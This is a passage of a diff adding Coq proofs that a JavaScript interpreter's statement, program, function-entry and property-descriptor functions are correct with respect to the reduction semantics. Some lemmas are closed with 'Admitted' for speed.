+Lemma run_stat_for_var_correct : forall runs S C labs ds eo2 eo3 t o,
+  runs_type_correct runs ->
+  run_stat_for_var runs S C labs ds eo2 eo3 t = o ->
+  red_stat S C (stat_for_var labs ds eo2 eo3 t) o.
+Proof.
+  introv IH R. unfolds in R.
+  run red_stat_for_var. run_hyp. apply~ red_stat_for_var_1.
+Qed.
+
+
+Lemma run_stat_correct : forall runs S C t o,
+  runs_type_correct runs ->
+  run_stat runs S C t = o ->
+  red_stat S C (stat_basic t) o.
+Proof.
+  introv RC R. unfolds in R.
+  destruct t as [ | | ls | ls | e t1 t2o | labs t e | labs e t | e t
+     | e | eo | labo | labo | t co fo | labs e1 e2 e3 t
+     | labs xeo1s e2 e3 t | labs e1 e2 e3 t | labs str eo e t | eo | ].
+  (* Expression *)
+  run red_stat_expr. apply red_stat_expr_1.
+  (* Label *)
+  unfolds in R. run red_stat_label.
+    tests HC: (res_is_normal R0).
+      inverts HC. run_inv. subst. applys* red_stat_label_1_normal.
+      subst. applys* red_stat_abort. intro M. inverts M. simpls. false.
+    case_if.
+      applys* red_stat_label_1_break_eq. destruct R0; simpls. fequal*.
+      applys* red_stat_abort. constructors. intro N. inverts N. false.
+       intro M. inverts M. simpls. false.
+      (* LATER: change interpreter to make it more faithful *)
+  (* Block *)
+  forwards* E: run_block_correct (rev ls). rew_list* in E.
+  (* Variable declaration *)
+  applys* run_var_decl_correct.
+  (* If *)
+  unfolds in R.
+  run_pre. lets (y1&R2&K): if_spec_post_to_bool (rm R1) (rm R).
+   applys* red_stat_if (rm R2). run_post_if_spec_ter_post_bool K.
+   case_if.
+     applys~ red_stat_if_1_true. apply~ RC.
+     destruct t2o.
+       applys~ red_stat_if_1_false.  apply~ RC.
+       run_inv. applys* red_stat_if_1_false_implicit.
+  (* Do-while *)
+  applys* red_stat_do_while. applys* runs_type_correct_stat_do_while.
+  (* While *)
+  apply~ red_stat_while. applys* runs_type_correct_stat_while.
+  (* With *)
+  unfolds in R.
+  run_pre. lets (y1&R2&K): if_spec_post_to_object (rm R1) (rm R).
+   applys* red_stat_with (rm R2). run_post_if_spec_ter_post_bool K.
+  let_name. let_name. destruct p as [lex' S3]. let_name.
+  subst lex. applys* red_stat_with_1. subst C'. run_inv. run_hyp*.
+  (* Throw *)
+  unfolds in R.
+  run red_stat_throw. applys* red_stat_throw_1.
+  (* Return *)
+  unfolds in R. destruct eo.
+    run red_stat_return_some. apply* red_stat_return_1.
+    inverts* R. applys red_stat_return_none.
+  (* Break *)
+  run_inv. applys* red_stat_break.
+  (* Continue *)
+  run_inv. applys* red_stat_continue.
+  (* Try *)
+  unfolds in R. let_name.
+  asserts finally_correct: (forall S (R:res),
+      finally S R = res_out o ->
+      red_stat S C (stat_try_4 R fo) o).
+    subst finally. clear R. introv HR.
+    destruct fo.
+      simpls. run red_stat_try_4_finally.
+       applys* red_stat_try_5_finally_result.
+      run_inv. applys* red_stat_try_4_no_finally.
+    clear EQfinally.
+  run red_stat_try. abort.
+    applys* red_stat_try_1_no_throw.
+    destruct co as [c|].
+      destruct c as [x t2]. let_name. let_name.
+       destruct p as [lex' S']. destruct lex'; tryfalse.
+       subst lex. run* red_stat_try_1_throw_catch
+        using env_record_create_set_mutable_binding_correct.
+       run red_stat_try_2_catch.
+        applys~ red_stat_try_3_catch_result finally_correct.
+      applys~ red_stat_try_1_throw_no_catch. applys~ finally_correct.
+      rewrite <- R. fequal. destruct R0; simpls; substs~.
+  (* For *)
+  apply* run_stat_for_correct.
+  (* For-var *)
+  apply* run_stat_for_var_correct.
+  (* For-in *)
+  discriminate.
+  (* For-in-var *)
+  discriminate.
+  (* Debugger *)
+  run_inv. apply red_stat_debugger.
+  (* switch *)
+  applys~ run_stat_switch_correct R.
+Admitted. (*faster*)
+
+Lemma run_prog_correct : forall runs S C p o,
+  runs_type_correct runs ->
+  run_prog runs S C p = o ->
+  red_prog S C (prog_basic p) o.
+Proof.
+  introv RC R. unfolds in R. destruct p.
+  forwards*: run_elements_correct (rev l). rew_list* in H.
+Admitted. (*faster*)
+
+(* LATER: generalize statement to handle continuations *)
+Lemma entering_func_code_correct : forall runs S C lf vthis args o,
+  runs_type_correct runs ->
+  entering_func_code runs S C lf vthis args = result_some (specret_out o) ->
+  red_expr S C (spec_entering_func_code lf vthis args (spec_call_default_1 lf)) o.
+Proof.
+  introv IH HR. unfolds in HR. sets_eq K: (spec_call_default_1 lf).
+  run. run. subst x. lets H: run_object_method_correct (rm E).
+  let_name. let_name as M. rename x0 into bd.
+  asserts M_correct: (forall S v o,
+      M S v = res_out o ->
+      red_expr S C (spec_entering_func_code_3 lf args str bd v K) o).
+    clears HR S o. introv HR. subst M.
+    run. run. subst x. lets H: run_object_method_correct (rm E).
+    let_name. destruct p as [lex' S1]. let_name.
+    run* (@red_spec_entering_func_code_3 lex' S1 C').
+    applys* red_spec_entering_func_code_4.
+    subst K. applys* run_call_default_correct.
+    clear EQM.
+  applys* red_spec_entering_func_code str.
+  case_if; subst str.
+    applys* red_spec_entering_func_code_1_strict.
+    destruct vthis.
+      destruct p. (* LATER: improve *)
+        applys* red_spec_entering_func_code_1_null_or_undef.
+        applys* red_spec_entering_func_code_1_null_or_undef.
+        run red_spec_entering_func_code_1_not_object.
+          simpls. splits; congruence.
+          applys* to_object_correct.
+          applys* red_spec_entering_func_code_2.
+        run red_spec_entering_func_code_1_not_object.
+          simpls. splits; congruence.
+          applys* to_object_correct.
+          applys* red_spec_entering_func_code_2.
+        run red_spec_entering_func_code_1_not_object.
+          simpls. splits; congruence.
+          applys* to_object_correct.
+          applys* red_spec_entering_func_code_2.
+      applys* red_spec_entering_func_code_1_object.
+Admitted. (* faster *)
+
+Lemma if_spec_throw_result : forall S K, if_spec (@throw_result descriptor (run_error S native_error_type)) K = @throw_result descriptor (run_error S native_error_type).
+Proof.
+  intros. repeat unfolds.
+  remember (run_error S native_error_type) as Error.
+  unfolds run_error. unfolds if_object.
+  unfolds if_value. unfolds if_success. unfolds if_ter.
+  unfolds if_out_some. unfolds if_result_some. unfolds build_error. 
+  cases_if*; rewrite decide_def in H; cases_if*; clear H.
+  remember (object_alloc S (object_new (prealloc_native_error_proto native_error_type) "Error")) as O.
+  destruct O as (l & S'). simpls.
+  unfolds if_empty_label.
+  cases_if*. subst. simpls. cases_if*.
+Qed.
+
+Lemma run_to_descriptor_correct : forall runs S C v y,
+  runs_type_correct runs ->
+  run_to_descriptor runs S C v = result_some y ->
+  red_spec S C (spec_to_descriptor v) y.
+Proof.
+  introv IH HR. unfold run_to_descriptor in HR.
+  destruct v as [p | l]. 
+
+  apply~ red_spec_to_descriptor_not_object.
+  applys* throw_result_run_error_correct.
+
+  applys* red_spec_to_descriptor_object.
+  run red_spec_to_descriptor_1a using object_has_prop_correct.
+  cases_if*; destruct b; inverts H.
+  + apply red_spec_to_descriptor_1b_false.
+    run red_spec_to_descriptor_2a using object_has_prop_correct.
+    cases_if*; destruct b; inverts H.
+    - apply red_spec_to_descriptor_2b_false.
+      run red_spec_to_descriptor_3a using object_has_prop_correct.
+      cases_if*; destruct b; inverts H.
+      * apply red_spec_to_descriptor_3b_false.
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+        }
+      * run red_spec_to_descriptor_3b_true using run_object_get_correct.
+        simpls. applys* red_spec_to_descriptor_3c. 
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+        }
+    - run red_spec_to_descriptor_2b_true using run_object_get_correct.
+      simpls. applys* red_spec_to_descriptor_2c.
+      run red_spec_to_descriptor_3a using object_has_prop_correct.
+      cases_if*; destruct b; inverts H.
+      * apply red_spec_to_descriptor_3b_false.
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+        }
+      * run red_spec_to_descriptor_3b_true using run_object_get_correct.
+        simpls. applys* red_spec_to_descriptor_3c. 
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+         }
+  + run red_spec_to_descriptor_1b_true using run_object_get_correct.
+    simpls. applys* red_spec_to_descriptor_1c.
+    run red_spec_to_descriptor_2a using object_has_prop_correct.
+    cases_if*; destruct b; inverts H.
+    - apply red_spec_to_descriptor_2b_false.
+      run red_spec_to_descriptor_3a using object_has_prop_correct.
+      cases_if*; destruct b; inverts H.
+      * apply red_spec_to_descriptor_3b_false.
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+        }
+      * run red_spec_to_descriptor_3b_true using run_object_get_correct.
